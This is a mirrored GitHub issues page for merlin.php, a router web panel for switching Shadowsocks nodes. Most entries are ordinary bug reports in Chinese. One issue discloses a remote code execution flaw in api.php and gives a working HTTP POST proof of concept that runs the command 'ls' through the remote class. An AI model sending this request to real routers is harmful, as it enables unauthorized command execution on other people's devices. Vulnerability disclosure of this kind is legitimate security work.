Giter VIP home page Giter VIP logo

merlin.php's People

Contributors

qoli avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

merlin.php's Issues

SS 使用域名時候,將無法判斷 Working 狀態

代碼片段:

    if [ "$server_ip" == $array1 ];then
        isWork="1"
    else
        isWork="0"
    fi

    echo ""$array9 ": (working: "$isWork") " $array1

檔案:
/opt/share/www/bin/script/ssconfig.sh

原因:
dbns 從 shadowsocks_server_ip 返回值為解釋后 IP。
然而參與比較的是域名,所以無法判斷。

使用本工具切换节点后,merlin前端显示问题

很好的工具,刚才测试了下,发现个小问题
使用使用本工具切换节点后,merlin前端显示的模式和节点还是原来的,但是发现后台确实是已经切换成功了
比如我要从节点6的大陆白名单模式

切换前

节点6:
ssconf_basic_node_6=1
当前结点值
ssconf_basic_mode=5

切换后应该如下

节点6初始值:
ssconf_basic_node_6=2
当前结点初始值
ssconf_basic_mode=6

现在的情况是这两个值没有变化,请修复

重启路由器后,无法连接!

原来用着好的,在安装了“梅林首页增加部分系统信息”插件后,重启路由器后就打不开192.168.2.1:81网页了,重新安装软件包还是不行!

ac88U安装不成功

安装完成了,但无法连接。安装过程中中间出现过lightpad is not found,ipkg: not found。我现在的固件是梅林6.61,是不是不支持AC88U啊。问下JFFS要打开吗?

會遇到 Warning: shell_exec() 的警告

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/update.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 31

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/check.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 32

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/reinstall.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 33

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/ssconfig.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 34

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/netspeed.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 35

2016-07-28 7 33 45

網路類型: null

1.网络类型一直显示为NULL

Jul 30 10:06:44 lwsts[808]: websocket writing but the buf_info is null
Jul 30 10:06:45 login[10518]: root login on 'pts/1'
Jul 30 10:06:46 lwsts[10540]: ERROR on binding to port 16661 (-1 98)
Jul 30 10:06:46 lwsts[10540]: libwebsocket init failed
Jul 30 10:06:48 lwsts[808]: websocket writing but the buf_info is null
这个是后台的错误日志不知道有没有关联,还有我的路由器管理用户名不是root
2.SS线路列表里面没有显示目前在使用什么线路
就是那个绿色开关不能实时显示哪条线路是开着的
http://v1.freep.cn/3tb_160730102007tu8a512293.jpg

安全问题-代码执行漏洞

在api.php中使用了eval函数,其他几个参数可控制导致任意代码执行。
$c = new $o();
$o = _GET("class",'unknow');
$f = _GET('function','unknow');
$agrs = implode(',',$_POST);
可以看出$o是一个对象,$c是$o对象的实例化,$f是对象的成员方法,$agrs是post传入的参数,也就是成员方法的参数。

poc:

POST /6/api.php?function=command&class=remote HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

cc='ls'

跟踪执行流程,实际是执行了下面的代码,导致任意代码执行漏洞。
$c = new remote;
$j = $c->command('ls');

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.